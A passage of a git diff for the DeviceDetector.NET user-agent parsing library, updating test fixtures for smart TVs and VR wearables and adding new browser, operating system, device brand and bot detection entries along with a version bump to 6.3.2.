armv7i;CE-HTML/1.0;U;en), Chrome/61.0.3163.100 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_UNKONWN/V8-NT563LA-LF1V200 (AKAI,AK3219NF,wireless) os: - name: GNU/Linux - version: "" + name: Whale OS + version: "1" platform: ARM client: type: browser name: T-Browser version: "2.0" engine: Blink - engine_version: "61.0.3163.100" + engine_version: 61.0.3163.100 device: type: tv brand: Akai model: AK3219NF - os_family: GNU/Linux + os_family: Other Smart TV browser_family: Chrome - user_agent: Opera/9.80 Zeasn/2.0 NETTV/4.5.0 Mozilla/5.0 (Linux armv7i;CE-HTML/1.0;U;en), Chrome/42.0.2311.152 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_MT5655/V8-S586T02-LF1V052 (THOMSON,55UC6306,wired) os: - name: GNU/Linux - version: "" + name: Whale OS + version: "1" platform: ARM client: type: browser name: T-Browser version: "2.0" engine: Blink - engine_version: "42.0.2311.152" + engine_version: 42.0.2311.152 device: type: tv brand: Thomson model: 55UC6306 - os_family: GNU/Linux + os_family: Other Smart TV browser_family: Chrome - user_agent: 'Zeasn/2.0 NETTV/4.5.0 Mozilla/5.0 (Linux;CE-HTML/1.0;U;en), Chrome/49.0.2623.87 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_UNKONWN/V8-S586T02-LF1V425 (TCL,U43P60*6,wired)' os: - name: GNU/Linux - version: "" + name: Whale OS + version: "1" platform: "" client: type: browser name: T-Browser version: "2.0" engine: Blink - engine_version: "49.0.2623.87" + engine_version: 49.0.2623.87 device: type: tv brand: TCL model: U43P60 - os_family: GNU/Linux + os_family: Other Smart TV browser_family: Chrome - user_agent: Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB95/3.3.8.n (AKAI, Si2157LG32, wireless) @@ -7567,20 +7572,20 @@ - user_agent: Opera/9.80 Zeasn/2.0 NETTV/4.5.0 Mozilla/5.0 (Linux armv7i;CE-HTML/1.0;U;en), Chrome/42.0.2311.152 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_MT5655/V8-S586T02-LF1V089 (THOMSON,49UC6306,wired) os: - name: GNU/Linux - version: "" + name: Whale OS + version: "1" platform: ARM client: type: browser name: T-Browser version: "2.0" engine: Blink - engine_version: "42.0.2311.152" + engine_version: 42.0.2311.152 device: type: tv brand: Thomson model: 49UC6306 - os_family: GNU/Linux + os_family: Other Smart TV browser_family: Chrome - user_agent: Opera/9.80 NETTV/4.5.0 Mozilla/5.0 (Linux armv7i; CE-HTML/1.0; U; en) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 NETRANGEMMH Tbrowser/2.0 _TV_NT563/V8-NT563LA-LF1V380 (Panasonic_S,43D1270,wireless) diff --git a/DeviceDetector.NET.Tests/fixtures/wearable.yml b/DeviceDetector.NET.Tests/fixtures/wearable.yml index 3c23393..a79944b 100644 --- a/DeviceDetector.NET.Tests/fixtures/wearable.yml +++ b/DeviceDetector.NET.Tests/fixtures/wearable.yml @@ -2279,3 +2279,21 @@ model: Neo 3 Link os_family: Android browser_family: Chrome +- + user_agent: Mozilla/5.0 (Android 12; Mobile VR; rv:81.0) Gecko/81.0 Firefox/81.0 + os: + name: Android + version: "12" + platform: "" + client: + type: browser + name: Firefox Reality + version: "" + engine: Gecko + engine_version: "81.0" + device: + type: wearable + brand: "" + model: "" + os_family: Android + browser_family: Firefox diff --git a/DeviceDetector.NET/DeviceDetector.cs b/DeviceDetector.NET/DeviceDetector.cs index 4aa85b5..47bd349 100644 --- a/DeviceDetector.NET/DeviceDetector.cs +++ b/DeviceDetector.NET/DeviceDetector.cs @@ -21,7 +21,7 @@ public class DeviceDetector /// /// Current version number of DeviceDetector /// - public const string VERSION = "6.3.1"; + public const string VERSION = "6.3.2"; /// /// Constant used as value for unknown browser / os @@ -258,6 +258,16 @@ public bool HasAndroidMobileFragment() return IsMatchUserAgent(regex); } + /// + /// Returns if the parsed UA contains the 'Android; Mobile VR;' fragment + /// + /// + public bool HasAndroidVRFragment() + { + const string regex = @"Android( [\.0-9]+)?; Mobile VR;| VR "; + return IsMatchUserAgent(regex); + } + /// /// Returns if the parsed UA contains the 'Desktop;', 'Desktop x32;', 'Desktop x64;' or 'Desktop WOW64;' fragment /// @@ -672,7 +682,7 @@ protected void ParseDevice() } //All devices containing VR fragment are assumed to be a wearable - if (!device.HasValue && IsMatchUserAgent(" VR ")) + if (!device.HasValue && HasAndroidVRFragment()) { device = DeviceType.DEVICE_TYPE_WEARABLE; } @@ -685,7 +695,7 @@ protected void ParseDevice() if (!device.HasValue && osFamily == "Android" && IsMatchUserAgent(@"Chrome/[\.0-9]*")) { - if (IsMatchUserAgent("(?:Mobile|eliboM) ")) + if (IsMatchUserAgent("(?:Mobile|eliboM)")) { device = DeviceType.DEVICE_TYPE_SMARTPHONE; } @@ -784,7 +794,7 @@ protected void ParseDevice() if (!device.HasValue && new[] { "Kylo", "Espial TV Browser", "LUJO TV Browser", "LogicUI TV Browser", "Open TV Browser", "Seraphic Sraf", - "Opera Devices", "Crow Browser", "Vewd Browser", "TiviMate", "Quick Search TV" + "Opera Devices", "Crow Browser", "Vewd Browser", "TiviMate", "Quick Search TV","QJY TV Browser", "TV Bro" }.Contains(clientName)) { device = DeviceType.DEVICE_TYPE_TV; diff --git a/DeviceDetector.NET/Parser/Client/Browser/Engine/VersionParser.cs b/DeviceDetector.NET/Parser/Client/Browser/Engine/VersionParser.cs index 002f979..d94c96c 100644 --- a/DeviceDetector.NET/Parser/Client/Browser/Engine/VersionParser.cs +++ b/DeviceDetector.NET/Parser/Client/Browser/Engine/VersionParser.cs @@ -25,16 +25,16 @@ public override ParseResult Parse() string[] matches; - if (string.Compare(_engine, "Gecko", StringComparison.OrdinalIgnoreCase) == 0) + if (_engine.Equals("Gecko", StringComparison.OrdinalIgnoreCase) || _engine.Equals("Clecko", StringComparison.OrdinalIgnoreCase)) { matches = GetRegexEngine() - .MatchesUniq(UserAgent, @"[ ](?:rv[: ]([0-9\.]+)).*gecko/[0-9]{2,10}").ToArray(); + .MatchesUniq(UserAgent, @"[ ](?:rv[: ]([0-9\.]+)).*(?:g|cl)ecko/[0-9]{8,10}").ToArray(); } else { var engineToken = _engine; - if (string.Compare(_engine, "Blink", StringComparison.OrdinalIgnoreCase) == 0) + if (_engine.Equals("Blink", StringComparison.OrdinalIgnoreCase)) { engineToken = "Chrome|Cronet"; } diff --git a/DeviceDetector.NET/Parser/Client/Browser/EngineParser.cs b/DeviceDetector.NET/Parser/Client/Browser/EngineParser.cs index 4e2a2eb..e7f0a7d 100644 --- a/DeviceDetector.NET/Parser/Client/Browser/EngineParser.cs +++ b/DeviceDetector.NET/Parser/Client/Browser/EngineParser.cs @@ -20,6 +20,7 @@ public class EngineParser : AbstractClientParser> "iCab", "Elektra", "Presto", + "Clecko", "Gecko", "KHTML", "NetFront", @@ -27,6 +28,7 @@ public class EngineParser : AbstractClientParser> "NetSurf", "Servo", "Goanna", + "EkiohFlow", "EkiohFlow" }; diff --git a/DeviceDetector.NET/Parser/Client/BrowserParser.cs b/DeviceDetector.NET/Parser/Client/BrowserParser.cs index 100f9b8..403184b 100644 --- a/DeviceDetector.NET/Parser/Client/BrowserParser.cs +++ b/DeviceDetector.NET/Parser/Client/BrowserParser.cs @@ -53,11 +53,12 @@ public class BrowserParser : AbstractClientParser> { "DM", "1DM Browser" }, { "1M", "1DM+ Browser" }, { "2B", "2345 Browser" }, - { "3B", "360 Browser" }, + { "3B", "360 Secure Browser" }, { "36", "360 Phone Browser" }, { "7B", "7654 Browser" }, { "AA", "Avant Browser" }, { "AB", "ABrowse" }, + { "4A", "Acoo Browser" }, { "BW", "AdBlock Browser" }, { "A7", "Adult Browser" }, { "A9", "Airfind Secure Browser" }, @@ -71,9 +72,11 @@ public class BrowserParser : AbstractClientParser> { "A5", "Amerigo" }, { "AO", "Amigo" }, { "AN", "Android Browser" }, + { "3A", "AOL Explorer" }, { "AE", "AOL Desktop" }, { "AD", "AOL Shield" }, { "A4", "AOL Shield Pro" }, + { "2A", "Aplix" }, { "A6", "AppBrowzer" }, { "AP", "APUS Browser" }, { "AR", "Arora" }, @@ -92,14 +95,17 @@ public class BrowserParser : AbstractClientParser> { "VG", "AVG Secure Browser" }, { "AC", "Avira Secure Browser" }, { "A1", "AwoX" }, + { "5B", "Basic Web Browser" }, { "BA", "Beaker Browser" }, { "BM", "Beamrise" }, { "F7", "BF Browser" }, { "BB", "BlackBerry Browser" }, + { "6B", "Bluefy" }, { "H1", "BrowseHere" }, { "B8", "Browser Hup Pro" }, { "BD", "Baidu Browser" }, { "BS", "Baidu Spark" }, + { "BG", "Bang" }, { "B9", "Bangla Browser" }, { "BI", "Basilisk" }, { "BV", "Belva Browser" }, @@ -127,6 +133,8 @@ public class BrowserParser : AbstractClientParser> { "BF", "Byffox" }, { "B4", "BXE Browser" }, { "CA", "Camino" }, + { "5C", "Catalyst" }, + { "XP", "Catsxp" }, { "0C", "Cave Browser" }, { "CL", "CCleaner" }, { "C8", "CG Browser" }, @@ -134,9 +142,11 @@ public class BrowserParser : AbstractClientParser> { "C6", "Chedot" }, { "C9", "Cherry Browser" }, { "C0", "Centaury" }, + { "CQ", "Cliqz" }, { "CC", "Coc Coc" }, { "C4", "CoolBrowser" }, { "C2", "Colibri" }, + { "6C", "Columbus Browser" }, { "CD", "Comodo Dragon" }, { "C1", "Coast" }, { "CX", "Charon" }, @@ -149,7 +159,9 @@ public class BrowserParser : AbstractClientParser> { "CK", "Conkeror" }, { "CM", "Chrome Mobile" }, { "3C", "Chowbo" }, + { "7C", "Classilla" }, { "CN", "CoolNovo" }, + { "4C", "Colom Browser" }, { "CO", "CometBird" }, { "2C", "Comfort Browser" }, { "CB", "COS Browser" }, @@ -177,6 +189,7 @@ public class BrowserParser : AbstractClientParser> { "DT", "Delta Browser" }, { "D0", "Desi Browser" }, { "DS", "DeskBrowse" }, + { "II", "Diigo Browser" }, { "D2", "DoCoMo" }, { "DF", "Dolphin" }, { "DZ", "Dolphin Zero" }, @@ -186,6 +199,7 @@ public class BrowserParser : AbstractClientParser> { "DI", "Dillo" }, { "DU", "DUC Browser" }, { "DD", "DuckDuckGo Privacy Browser" }, + { "E1", "East Browser" }, { "EC", "Ecosia" }, { "EW", "Edge WebView" }, { "EV", "Every Browser" }, @@ -194,8 +208,10 @@ public class BrowserParser : AbstractClientParser> { "EN", "EinkBro" }, { "EB", "Element Browser" }, { "EE", "Elements Browser" }, + { "EO", "Eolie" }, { "EX", "Explore Browser" }, { "EZ", "eZ Browser" }, + { "E2", "EudoraWeb" }, { "EU", "EUI Browser" }, { "EP", "GNOME Web" }, { "G1", "G Browser" }, @@ -239,7 +255,9 @@ public class BrowserParser : AbstractClientParser> { "GP", "Google Earth Pro" }, { "GO", "GOG Galaxy" }, { "GR", "GoBrowser" }, + { "GK", "GoKu" }, { "G2", "GO Browser" }, + { "RN", "GreenBrowser" }, { "HB", "Harman Browser" }, { "HS", "HasBrowser" }, { "HA", "Hawk Turbo Browser" }, @@ -268,11 +286,13 @@ public class BrowserParser : AbstractClientParser> { "IV", "Isivioo" }, { "I8", "IVVI Browser" }, { "IW", "Iceweasel" }, + { "2I", "Impervious Browser" }, { "N3", "Incognito Browser" }, { "IN", "Inspect Browser" }, { "I9", "Insta Browser" }, { "IE", "Internet Explorer" }, { "I7", "Internet Browser Secure" }, + { "3I", "Intune Managed Browser" }, { "I5", "Indian UC Mini Browser" }, { "Z0", "InBrowser" }, { "IM", "IE Mobile" }, @@ -283,13 +303,14 @@ public class BrowserParser : AbstractClientParser> { "JL", "Jelly" }, { "JI", "Jig Browser" }, { "JP", "Jig Browser Plus" }, - { "JO", "Jio Browser" }, - { "J1", "JioPages" }, + { "JO", "JioSphere" }, + { "JZ", "JUZI Browser" }, { "KB", "K.Browser" }, { "KF", "Keepsafe Browser" }, { "KS", "Kids Safe Browser" }, { "KI", "Kindle Browser" }, { "KM", "K-meleon" }, + { "KJ", "K-Ninja" }, { "KO", "Konqueror" }, { "KP", "Kapiko" }, { "KN", "Kinza" }, @@ -300,6 +321,7 @@ public class BrowserParser : AbstractClientParser> { "KZ", "Kazehakase" }, { "LB", "Cheetah Browser" }, { "LA", "Lagatos Browser" }, + { "GN", "Legan Browser" }, { "LR", "Lexi Browser" }, { "LV", "Lenovo Browser" }, { "LF", "LieBaoFast" }, @@ -307,8 +329,10 @@ public class BrowserParser : AbstractClientParser> { "LH", "Light" }, { "L1", "Lilo" }, { "LI", "Links" }, + { "RI", "Liri Browser" }, { "LC", "LogicUI TV Browser" }, { "IF", "Lolifox" }, + { "L3", "Lotus" }, { "LO", "Lovense Browser" }, { "LT", "LT Browser" }, { "LU", "LuaKit" }, @@ -320,6 +344,7 @@ public class BrowserParser : AbstractClientParser> { "L2", "Lynket Browser" }, { "MD", "Mandarin" }, { "M5", "MarsLab Web Browser" }, + { "M7", "MaxBrowser" }, { "M1", "mCent" }, { "MB", "MicroB" }, { "MC", "NCSA Mosaic" }, @@ -329,9 +354,11 @@ public class BrowserParser : AbstractClientParser> { "MF", "Mobile Safari" }, { "MI", "Midori" }, { "M3", "Midori Lite" }, + { "M6", "MixerBox AI" }, { "MO", "Mobicip" }, { "MU", "MIUI Browser" }, { "MS", "Mobile Silk" }, + { "MK", "Mogok Browser" }, { "MN", "Minimo" }, { "MT", "Mint Browser" }, { "MX", "Maxthon" }, @@ -346,10 +373,11 @@ public class BrowserParser : AbstractClientParser> { "NK", "Naked Browser" }, { "NA", "Naked Browser Pro" }, { "NR", "NFS Browser" }, + { "N5", "Ninetails" }, { "NB", "Nokia Browser" }, { "NO", "Nokia OSS Browser" }, { "NV", "Nokia Ovi Browser" }, - { "N2", "Norton Secure Browser" }, + { "N2", "Norton Private Browser" }, { "NX", "Nox Browser" }, { "N1", "NOMone VR Browser" }, { "NE", "NetSurf" }, @@ -360,8 +388,8 @@ public class BrowserParser : AbstractClientParser> { "WR", "NextWord Browser" }, { "NT", "NTENT Browser" }, { "NU", "Nuanti Meta" }, - { "O9", "Ocean Browser" }, { "NI", "Nuviu" }, + { "O9", "Ocean Browser" }, { "OC", "Oculus Browser" }, { "O6", "Odd Browser" }, { "O1", "Opera Mini iOS" }, @@ -373,6 +401,7 @@ public class BrowserParser : AbstractClientParser> { "OF", "Off By One" }, { "O5", "Office Browser" }, { "HH", "OhHai Browser" }, + { "OL", "OnBrowser Lite" }, { "OE", "ONE Browser" }, { "N4", "Onion Browser" }, { "Y1", "Opera Crypto" }, @@ -414,6 +443,7 @@ public class BrowserParser : AbstractClientParser> { "PH", "Phantom Browser" }, { "PX", "Phoenix" }, { "PB", "Phoenix Browser" }, + { "P9", "PirateBrowser" }, { "P8", "PICO Browser" }, { "PF", "PlayFree Browser" }, { "PK", "PocketBook Browser" }, @@ -430,6 +460,8 @@ public class BrowserParser : AbstractClientParser> { "RW", "Reqwireless WebViewer" }, { "PS", "Microsoft Edge" }, { "QA", "Qazweb" }, + { "QI", "Qiyu" }, + { "QJ", "QJY TV Browser" }, { "Q3", "Qmamu" }, { "Q4", "Quick Search TV" }, { "Q2", "QQ Browser Lite" }, @@ -441,6 +473,9 @@ public class BrowserParser : AbstractClientParser> { "QZ", "QupZilla" }, { "QM", "Qwant Mobile" }, { "QW", "QtWebEngine" }, + { "R3", "Rakuten Browser" }, + { "R4", "Rakuten Web Search" }, + { "R2", "Raspbian Chromium" }, { "RE", "Realme Browser" }, { "RK", "Rekonq" }, { "RM", "RockMelt" }, @@ -448,6 +483,7 @@ public class BrowserParser : AbstractClientParser> { "SB", "Samsung Browser" }, { "3L", "Samsung Browser Lite" }, { "SA", "Sailfish Browser" }, + { "R0", "SberBrowser" }, { "S8", "Seewo Browser" }, { "SC", "SEMC-Browser" }, { "SE", "Sogou Explorer" }, @@ -473,6 +509,7 @@ public class BrowserParser : AbstractClientParser> { "SS", "Seraphic Sraf" }, { "KK", "SiteKiosk" }, { "SL", "Sleipnir" }, + { "8B", "SlimBoat" }, { "S6", "Slimjet" }, { "S7", "SP Browser" }, { "9S", "Sony Small Browser" }, @@ -496,6 +533,7 @@ public class BrowserParser : AbstractClientParser> { "HR", "Sushi Browser" }, { "S3", "surf" }, { "4S", "Surf Browser" }, + { "RY", "Surfy Browser" }, { "SG", "Stargon" }, { "S0", "START Internet Browser" }, { "S4", "Steam In-Game Overlay" }, @@ -508,6 +546,7 @@ public class BrowserParser : AbstractClientParser> { "TR", "T-Browser" }, { "TO", "t-online.de Browser" }, { "TA", "Tao Browser" }, + { "T2", "tararia" }, { "TH", "Thor" }, { "1T", "Tor Browser" }, { "TF", "TenFourFox" }, @@ -515,6 +554,7 @@ public class BrowserParser : AbstractClientParser> { "TE", "Tesla Browser" }, { "TZ", "Tizen Browser" }, { "TI", "Tint Browser" }, + { "TL", "TrueLocation Browser" }, { "TC", "TUC Mini Browser" }, { "TU", "Tungsten" }, { "TG", "ToGate" }, @@ -535,6 +575,7 @@ public class BrowserParser : AbstractClientParser> { "V3", "VD Browser" }, { "VE", "Venus Browser" }, { "WD", "Vewd Browser" }, + { "V5", "VibeMate" }, { "N0", "Nova Video Downloader Pro" }, { "VS", "Viasat Browser" }, { "VI", "Vivaldi" }, @@ -543,18 +584,24 @@ public class BrowserParser : AbstractClientParser> { "VB", "Vision Mobile Browser" }, { "V4", "Vertex Surf" }, { "VM", "VMware AirWatch" }, + { "VK", "Vonkeror" }, { "WI", "Wear Internet Browser" }, { "WP", "Web Explorer" }, { "W3", "Web Browser & Explorer" }, + { "W5", "Webian Shell" }, + { "W4", "WebDiscover" }, { "WE", "WebPositive" }, + { "WX", "Wexond" }, { "WF", "Waterfox" }, { "WB", "Wave Browser" }, { "WA", "Wavebox" }, { "WH", "Whale Browser" }, { "WO", "wOSBrowser" }, + { "3W", "w3m" }, { "WT", "WeTab Browser" }, { "1W", "World Browser" }, { "WL", "Wolvic" }, + { "WY", "Wyzo" }, { "YG", "YAGI" }, { "YJ", "Yahoo! Japan Browser" }, { "YA", "Yandex Browser" }, @@ -563,6 +610,7 @@ public class BrowserParser : AbstractClientParser> { "Y2", "Yo Browser" }, { "YB", "Yolo Browser" }, { "YO", "YouCare" }, + { "Y3", "YouBrowser" }, { "YZ", "Yuzu Browser" }, { "XR", "xBrowser" }, { "XB", "X Browser Lite" }, @@ -619,16 +667,17 @@ public class BrowserParser : AbstractClientParser> "1W", "EV", "I9", "V4", "H4", "1T", "M5", "0S", "0C", "ZR", "D6", "F6", "RC", "WD", "P3", "FT", "A9", "X2", "N3", "GD", "O9", "Q3", "F7", "K2", "P5", "H5", "V3", - "K3", "Q4", "G2", + "K3", "Q4", "G2", "R2", "WX", "XP", "3I", "BG", "R0", + "JO", "OL", "GN", "W4", "QI", "E1", "RI", "8B", "5B", }}, {"Firefox" , new []{"AX", "BI", "BF", "BH", "BN", "C0", "CU", "EI", "F1", "FB", "FE", "FF", "FM", "FR", "FY", "GZ", "I4", "IF", "IW", "LH", "LY", "MB", "MN", "MO", "MY", "OA", "OS", "PI", "PX", "QA", "S5", "SX", "TF", "TO", "WF", "ZV", - "FP", "AD", "WL" - + "FP", "AD", "WL", "2I", "P9", "KJ", "WY", "VK", "W5", + "7C", }}, - {"Internet Explorer" , new []{"BZ", "CZ", "IE", "IM", "PS"}}, + {"Internet Explorer" , new []{"BZ", "CZ", "IE", "IM", "PS", "3A", "4A", "RN"}}, {"Konqueror" , new []{"KO"}}, {"NetFront" , new []{"NF"}}, {"NetSurf" , new []{"NE"}}, @@ -656,13 +705,20 @@ public class BrowserParser : AbstractClientParser> "DM", "1M", "A7", "XN", "XT", "XB", "W1", "HT", "B7", "B9", "T0", "I8", "O6", "P7", "O8", "4B", "A8", "P8", "1W", "EV", "Z0", "I9", "V4", "H4", "M5", "0S", "0C", - "ZR", "D6", "F6",}; + "ZR", "D6", "F6", "P3", "FT", "A9", "X2", "NI", "FG", + "TH", "N3", "GD", "O9", "Q3", "F7", "K2", "N4", "P5", + "H5", "V3", "G2", "BG", "OL", "II", "TL", "M6", "Y3", + "M7", "GN",}; public override Dictionary ClientHintMapping => new Dictionary { {"Chrome", new [] {"Google Chrome"}}, {"Vewd Browser", new [] {"Vewd Core"}}, - {"DuckDuckGo Privacy Browser", new [] {"DuckDuckGo"}} + {"DuckDuckGo Privacy Browser", new [] {"DuckDuckGo"}}, + {"Edge WebView", new [] {"Microsoft Edge WebView2"}}, + {"Microsoft Edge", new [] {"Edge"}}, + {"Norton Private Browser", new [] {"Norton Secure Browser"}}, + {"Vewd Browser", new [] {"Vewd Core"}}, }; @@ -797,6 +853,15 @@ public override ParseResult Parse() client.ShortName = "I1"; } + // https://bbs.360.cn/thread-16096544-1-1.html + if (GetRegexEngine().Match(client.Version, "/^15/") && GetRegexEngine().Match(browserFromUserAgent.Version, "/^114/")) + { + client.Name = "360 Secure Browser"; + client.ShortName = "3B"; + client.Engine = browserFromUserAgent.Engine ?? string.Empty; + client.EngineVersion = browserFromUserAgent.EngineVersion ?? string.Empty; + } + if ("Atom" == client.Name || "Huawei Browser" == client.Name) { client.Version = browserFromUserAgent.Version; @@ -936,7 +1001,7 @@ protected BrowserMatchResult ParseBrowserFromClientHints() } } // If we detected a brand, that is not Chromium, we will use it, otherwise we will look further - if (!string.IsNullOrEmpty(name) && "Chromium" != name) { + if (!string.IsNullOrEmpty(name) && "Chromium" != name && "Microsoft Edge" != name) { break; } } diff --git a/DeviceDetector.NET/Parser/Device/AbstractDeviceParser.cs b/DeviceDetector.NET/Parser/Device/AbstractDeviceParser.cs index 5b528ef..4451694 100644 --- a/DeviceDetector.NET/Parser/Device/AbstractDeviceParser.cs +++ b/DeviceDetector.NET/Parser/Device/AbstractDeviceParser.cs @@ -216,8 +216,8 @@ protected DeviceMatchResult ParseClientHints() protected bool HasDesktopFragment() { var regexExcludeDesktopFragment = string.Join("|", - "CE-HTML", - " Mozilla/|Andr[o0]id|Tablet|Mobile|iPhone|Windows Phone|ricoh|OculusBrowser", + "CE-HTML", + " Mozilla/|Andr[o0]id|Tablet|Mobile|iPhone|Windows Phone|ricoh|OculusBrowser", "PicoBrowser|Lenovo|compatible; MSIE|Trident/|Tesla/|XBOX|FBMD/|ARM; ?([^)]+)"); return IsMatchUserAgent("(?:Windows (?:NT|IoT)|X11; Linux x86_64)") && diff --git a/DeviceDetector.NET/Parser/Device/Devices.cs b/DeviceDetector.NET/Parser/Device/Devices.cs index 1c537c7..d8741ca 100644 --- a/DeviceDetector.NET/Parser/Device/Devices.cs +++ b/DeviceDetector.NET/Parser/Device/Devices.cs @@ -1174,10 +1174,12 @@ public static class Devices { "OZ", "OzoneHD" }, { "OLL", "Ollee" }, { "7P", "P-UP" }, + { "PRA", "Pacific Research Alliance" }, { "YP", "Paladin" }, { "PM", "Palm" }, { "PN", "Panacom" }, { "PA", "Panasonic" }, + { "PNV", "Panavox" }, { "PT", "Pantech" }, { "PAN", "Pano" }, { "PND", "Panodic" }, @@ -1504,6 +1506,7 @@ public static class Devices { "TB", "Tecno Mobile" }, { "TEC", "TecToy" }, { "91", "TEENO" }, + { "TLK", "Telkom" }, { "2L", "Tele2" }, { "TL", "Telefunken" }, { "TG", "Telego" }, @@ -1567,6 +1570,7 @@ public static class Devices { "J1", "Trio" }, { "THT", "Tsinghua Tongfang" }, { "5C", "TTEC" }, + { "TTF", "TTfone" }, { "TTK", "TTK-TV" }, { "TU", "Tunisie Telecom" }, { "1T", "Turbo" }, @@ -1583,6 +1587,7 @@ public static class Devices { "TWN", "TwinMOS" }, { "15", "Tymes" }, { "UC", "U.S. Cellular" }, + { "UD1", "UD" }, { "UGI", "UGINE" }, { "UG", "Ugoos" }, { "U1", "Uhans" }, diff --git a/DeviceDetector.NET/Parser/OperatingSystemParser.cs b/DeviceDetector.NET/Parser/OperatingSystemParser.cs index 49bbcb8..deaca43 100644 --- a/DeviceDetector.NET/Parser/OperatingSystemParser.cs +++ b/DeviceDetector.NET/Parser/OperatingSystemParser.cs @@ -22,6 +22,7 @@ public class OperatingSystemParser : AbstractParser, OsMatchResult> { "ADR", "Android TV" }, { "AMZ", "Amazon Linux" }, { "AMG", "AmigaOS" }, + { "ARM", "Armadillo OS" }, { "ATV", "tvOS" }, { "ARL", "Arch Linux" }, { "BTR", "BackTrack" }, @@ -51,6 +52,7 @@ public class OperatingSystemParser : AbstractParser, OsMatchResult> { "FOR", "Foresight Linux" }, { "FRE", "Freebox" }, { "BSD", "FreeBSD" }, + { "FRI", "FRITZ!OS" }, { "FYD", "FydeOS" }, { "FUC", "Fuchsia" }, { "GNT", "Gentoo" }, @@ -61,6 +63,7 @@ public class OperatingSystemParser : AbstractParser, OsMatchResult> { "IPA", "iPadOS" }, { "HAR", "HarmonyOS" }, { "HAS", "HasCodingOS" }, + { "HEL", "HELIX OS" }, { "IRI", "IRIX" }, { "INF", "Inferno" }, { "JME", "Java ME" }, @@ -74,6 +77,7 @@ public class OperatingSystemParser : AbstractParser, OsMatchResult> { "LND", "LindowsOS" }, { "LNS", "Linspire" }, { "LEN", "Lineage OS" }, + { "LIR", "Liri OS" }, { "LBT", "Lubuntu" }, { "LOS", "Lumin OS" }, { "LUN", "LuneOS" }, @@ -108,6 +112,8 @@ public class OperatingSystemParser : AbstractParser, OsMatchResult> { "PSP", "PlayStation Portable" }, { "PS3", "PlayStation" }, { "PUR", "PureOS" }, + { "PIO", "Raspberry Pi OS" }, + { "RAS", "Raspbian" }, { "RHT", "Red Hat" }, { "RED", "RedOS" }, { "REV", "Revenge OS" }, @@ -138,6 +144,7 @@ public class OperatingSystemParser : AbstractParser, OsMatchResult> { "TIV", "TiVo OS" }, { "TOS", "TmaxOS" }, { "UBT", "Ubuntu" }, + { "UOS", "UOS" }, { "VID", "VIDAA" }, { "WAS", "watchOS" }, { "WER", "Wear OS" }, @@ -156,7 +163,8 @@ public class OperatingSystemParser : AbstractParser, OsMatchResult> { "ZOR", "ZorinOS" }, { "IOS", "iOS" }, { "POS", "palmOS" }, - { "WOS", "webOS" } + { "WEB", "Webian" }, + { "WOS", "webOS" }, }; /// @@ -165,7 +173,8 @@ public class OperatingSystemParser : AbstractParser, OsMatchResult> protected static readonly Dictionary OsFamilies = new Dictionary { {"Android" , new [] {"AND", "CYN", "FIR", "REM", "RZD", "MLD", "MCD", "YNS", "GRI", "HAR", - "ADR", "CLR", "BOS", "REV", "LEN", "SIR", "RRS", "WER", "PIC" }}, + "ADR", "CLR", "BOS", "REV", "LEN", "SIR", "RRS", "WER", "PIC", "ARM", + "HEL" }}, {"AmigaOS" , new [] {"AMG", "MOR"}}, {"BlackBerry" , new [] {"BLB", "QNX"}}, {"Brew" , new [] {"BMP"}}, @@ -182,7 +191,8 @@ public class OperatingSystemParser : AbstractParser, OsMatchResult> "ORD", "TOS", "RSO", "DEE", "FRE", "MAG", "FEN", "CAI", "PCL", "HAS", "LOS", "DVK", "ROK", "OWR", "OTV", "KTV", "PUR", "PLA", "FUC", "PAR", "FOR", "MON", "KAN", "ZEN", "LND", "LNS", "CHN", "AMZ", "TEN", "CST", - "NOV", "ROU", "ZOR", "RED", "KAL", "ORA", "VID", "TIV", "BSN" }}, + "NOV", "ROU", "ZOR", "RED", "KAL", "ORA", "VID", "TIV", "BSN", "RAS", + "UOS", "PIO", "FRI", "LIR", "WEB" }}, {"Mac" , new [] {"MAC"}}, {"Mobile Gaming Console", new [] {"PSP", "NDS", "XBX"}}, {"Real-time OS" , new [] {"MTK", "TDX", "MRE", "JME", "REX"}}, @@ -291,6 +301,10 @@ public override ParseResult Parse() { version = string.Empty; } + if ("PICO OS" == name) + { + version = osFromUserAgent.Version; + } if ("Fire OS" == name) { @@ -351,6 +365,15 @@ public override ParseResult Parse() @short = "ADR"; version = string.Empty; } + + if ("'org.lineageos.jelly" == ClientHints.GetApp() && "Lineage OS" != name) + { + name = "Lineage OS"; + family = "Android"; + @short = "LEN"; + version = string.Empty; + } + } var os = new OsMatchResult @@ -599,6 +622,10 @@ protected string ParsePlatform() if (arch.Contains("sh4")) { return PlatformType.SuperH; + } + if (arch.Contains("sparc64")) + { + return PlatformType.Sparc64; } if (arch.Contains("x64") || (arch.Contains("x86") && ClientHints.GetBitness() == "64")) { @@ -622,6 +649,10 @@ protected string ParsePlatform() if (IsMatchUserAgent("sh4")) { return PlatformType.SuperH; + } + if (IsMatchUserAgent("sparc64")) + { + return PlatformType.Sparc64; } if (IsMatchUserAgent("64-?bit|WOW64|(?:Intel)?x64|WINDOWS_64|win64|amd64|x86_?64")) { diff --git a/DeviceDetector.NET/Parser/PlatformType.cs b/DeviceDetector.NET/Parser/PlatformType.cs index f774076..c32954a 100644 --- a/DeviceDetector.NET/Parser/PlatformType.cs +++ b/DeviceDetector.NET/Parser/PlatformType.cs @@ -7,6 +7,7 @@ public static class PlatformType public const string X86 = "x86"; public const string MIPS = "MIPS"; public const string SuperH = "SuperH"; + public const string Sparc64 = "SPARC64"; public const string NONE = ""; } } diff --git a/DeviceDetector.NET/regexes/bots.yml b/DeviceDetector.NET/regexes/bots.yml index 89632f5..f85569d 100644 --- a/DeviceDetector.NET/regexes/bots.yml +++ b/DeviceDetector.NET/regexes/bots.yml @@ -5,6 +5,11 @@ # @license http://www.gnu.org/licenses/lgpl.html LGPL v3 or later ############### +- regex: 'WireReaderBot(?:/([\d+.]+))?' + name: 'WireReaderBot' + category: 'Feed Fetcher' + url: 'https://wirereader.app/' + - regex: 'monitoring360bot' name: '360 Monitoring' category: 'Site Monitor' @@ -768,7 +773,15 @@ name: 'Visual Meta' url: 'https://www.shopalike.cz/' -- 